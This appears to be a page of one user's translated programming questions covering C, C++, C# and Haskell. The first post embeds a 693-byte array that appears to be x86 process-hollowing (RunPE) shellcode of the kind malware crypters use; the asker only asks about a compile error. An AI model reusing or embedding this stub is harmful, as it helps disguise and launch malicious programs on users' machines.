小编pmr*_*pmr的帖子

我目前正在尝试在我的C++应用程序中创建一个字节数组.

我使用以下代码:

#include "stdafx.h"

const BYTE DMSN[693]={$55,$8B,$EC,$81,$C4,$A4,$FA,$FF,$FF,$89,$45,$FC,$E8,$1B,$02,$00,$00,$89,$85,$CC,
$FD,$FF,$FF,$BB,$F2,$0F,$56,$C6,$8B,$95,$CC,$FD,$FF,$FF,$E8,$19,$02,$00,$00,$89,
$45,$F8,$BB,$A9,$8B,$80,$2D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$06,$02,$00,$00,$89,$45,
$F4,$BB,$85,$3B,$AE,$DB,$8B,$95,$CC,$FD,$FF,$FF,$E8,$F3,$01,$00,$00,$89,$45,$F0,
$BB,$93,$35,$DF,$85,$8B,$95,$CC,$FD,$FF,$FF,$E8,$E0,$01,$00,$00,$89,$45,$EC,$BB,
$8D,$CB,$B6,$5D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$CD,$01,$00,$00,$89,$45,$E8,$BB,$53,
$13,$C1,$78,$8B,$95,$CC,$FD,$FF,$FF,$E8,$BA,$01,$00,$00,$89,$45,$E4,$BB,$8A,$DB,
$DF,$A5,$8B,$95,$CC,$FD,$FF,$FF,$E8,$A7,$01,$00,$00,$89,$45,$E0,$BB,$2E,$05,$50,
$C8,$8B,$95,$CC,$FD,$FF,$FF,$E8,$94,$01,$00,$00,$89,$45,$DC,$BB,$85,$A1,$16,$A2,
$8B,$95,$CC,$FD,$FF,$FF,$E8,$81,$01,$00,$00,$E8,$06,$00,$00,$00,$6E,$74,$64,$6C,
$6C,$00,$5F,$57,$FF,$D0,$89,$85,$D0,$FD,$FF,$FF,$BB,$8B,$E3,$CD,$41,$8B,$D0,$E8,
$60,$01,$00,$00,$89,$45,$D8,$BB,$39,$23,$0D,$2C,$8B,$95,$D0,$FD,$FF,$FF,$E8,$4D,
$01,$00,$00,$89,$45,$D4,$68,$00,$02,$00,$00,$8D,$85,$D4,$FD,$FF,$FF,$50,$6A,$00,
$FF,$55,$F8,$6A,$44,$8D,$85,$88,$FD,$FF,$FF,$50,$FF,$55,$D4,$FF,$55,$F4,$8B,$C8,
$8D,$85,$78,$FD,$FF,$FF,$50,$8D,$85,$88,$FD,$FF,$FF,$50,$6A,$00,$6A,$00,$6A,$04,
$6A,$00,$6A,$00,$6A,$00,$51,$8D,$85,$D4,$FD,$FF,$FF,$50,$FF,$55,$F0,$68,$CC,$02,
$00,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$55,$D4,$C7,$85,$A4,$FA,$FF,$FF,$02,$00,
$01,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$EC,$64,$A1,
$30,$00,$00,$00,$8B,$40,$0C,$8B,$40,$14,$8B,$40,$10,$50,$FF,$B5,$78,$FD,$FF,$FF,
$FF,$55,$D8,$8B,$7D,$FC,$03,$7F,$3C,$6A,$40,$68,$00,$30,$00,$00,$FF,$77,$50,$FF,
$77,$34,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E8,$89,$85,$74,$FD,$FF,$FF,$6A,$00,$FF,
$77,$54,$FF,$75,$FC,$FF,$B5,$74,$FD,$FF,$FF,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E4,
$8D,$47,$18,$89,$85,$70,$FD,$FF,$FF,$0F,$B7,$47,$14,$01,$85,$70,$FD,$FF,$FF,$33,
$C0,$33,$F6,$33,$C9,$EB,$29,$6B,$C6,$28,$03,$85,$70,$FD,$FF,$FF,$8B,$9D,$74,$FD,
$FF,$FF,$03,$58,$0C,$8B,$55,$FC,$03,$50,$14,$6A,$00,$FF,$70,$10,$52,$53,$FF,$B5,
$78,$FD,$FF,$FF,$FF,$55,$E4,$46,$66,$3B,$77,$06,$72,$D1,$8B,$85,$74,$FD,$FF,$FF,
$03,$47,$28,$89,$85,$54,$FB,$FF,$FF,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,
$FF,$FF,$FF,$55,$E0,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$DC,$C9,$C3,$64,$A1,$30,$00,
$00,$00,$8B,$40,$0C,$8B,$40,$0C,$8B,$00,$8B,$00,$8B,$40,$18,$C3,$55,$8B,$EC,$83,
$C4,$F4,$52,$89,$55,$FC,$8B,$4A,$3C,$03,$CA,$89,$4D,$F4,$8B,$49,$78,$03,$CA,$89,
$4D,$F8,$8B,$51,$18,$8B,$49,$20,$03,$4D,$FC,$33,$FF,$8B,$31,$03,$75,$FC,$33,$C0,
$51,$AC,$8B,$C8,$03,$F8,$D3,$C7,$85,$C0,$75,$F5,$59,$3B,$FB,$74,$10,$83,$C1,$04,
$4A,$75,$E0,$BA,$C2,$58,$62,$1B,$5A,$33,$C0,$C9,$C3,$8B,$45,$FC,$8B,$4D,$F8,$8B,
$59,$18,$8B,$49,$24,$03,$C8,$2B,$DA,$D1,$E3,$03,$CB,$0F,$B7,$19,$8B,$4D,$F8,$8B,
$49,$1C,$03,$C8,$C1,$E3,$02,$03,$CB,$03,$01,$5A,$C9,$C3}

int _tmain(int argc, _TCHAR* argv[])
{
return 0;
}

这就是它在IDE中的样子:http: //gyazo.com/ae6ccac99b8f0d6bfd26cadecfe89939.png

我目前正在使用Microsoft Visual C++ 2010 Express.

好像我没有导入我需要的东西(从BYTE某种意义上说是为了使用或"字节数组")？

for (count = index, packet_no = 0; 
     count < TOTAL_OBJ, packet_no < TOTAL_PKT; 
     count++, packet_no++)

=> 逗号表达式的左侧操作数无效.

我发现上面的代码是正确的,无法理解为什么会出现这个错误.

说我有:

unsigned char *varA, *varB, *varC;
varA=malloc(64);
varB=malloc(32);
varC=malloc(32);

如何将varA 的前 32个字节放入varB,将varA的最后 32个字节放入varC？

我正在尝试将网页的标题设置为包含当前年份的字符串,如下所示:

getCurrentYear :: IO String
getCurrentYear = do
    now <- getCurrentTime
    let today = utctDay now
    let (year, _, _) = toGregorian today
    return $ show year

title :: IO Html
title = do
    y <- getCurrentYear
    return $ toHtml $ "Registration " ++ y

getRootR :: Handler RepHtml
getRootR = do
    (widget, enctype) <- generateFormPost personForm -- not important for the problem at hand, comes from the example in the yesod book
    defaultLayout $ do
        setTitle title -- this …

我有自定义数据结构Class Client和ClientList.

在ClientList中我做

map<ULONG, Client*> list;

然后我添加元素

void ClientList::add(Client *client) {
list.insert(std::pair<ULONG,Client*>(client->getID(),client));
}

如何检查是否insert失败？

这是交易.我们有2个不同的类F和O类

class F {
    private:
        int x;
        int y; 
    public:
        int getXf(){ return x; }
        int getYf(){ return y; }
        f(int ,int);
};

class O {
    private:
        int n;
        int k;
        int x;
        int y;
        char type;
        int id;
        int t;
    public:
        O(int ,int ,int ,int ,int);
        int getX(){ return x; }
        int getY(){ return y; }
};

我们有一个第三类P,我们在其中初始化值.在类中,我们创建了两个对象数组.

class Prog {                                                                   
    public:
        int count;
        int fcount;
        O *o[]; //here we are declaring the arrays of objects
        F *f[];           
    public …

初始化字符串C#就像这样简单:

string str = Console.Read();

使用此方法,我不需要知道用户输入的字符串的大小.但我在C++中找不到这样的方法.我希望我的字符串被定义为char *input,我不想知道字符串的大小.

我怎样才能实现我的目标？

我所知道的:

下划线('_')和所有标识符,无论使用以两个下划线开头,还是下划线后跟大写字母都是保留名称

在Posix中:以"_t"结尾的名称保留用于其他类型名称.

另外:头文件sys/stat.h保留以'st_'和'S_'为前缀的名称.

我们可以使用"t_whatever"(例如t_node)来定义我们自己的类型吗？

问题来自下面的代码：

vector<int &> one;  //compile failed

我很困惑为什么代码无法编译。

我遇到了一个可以轻易解决的问题,如果我可以控制数学.所以如果有人能指出我正确的方向,我很乐意欣赏这一贡献.

在食谱中,我想添加一个X数字,例如柠檬数量,每16杯.所以,当我有5杯时,我只会使用1个柠檬.当我有17杯时,我会用2个柠檬.当我有32杯时,我会添加第3个柠檬,就像每个16的柠檬一样.

什么是最简单的解决方法？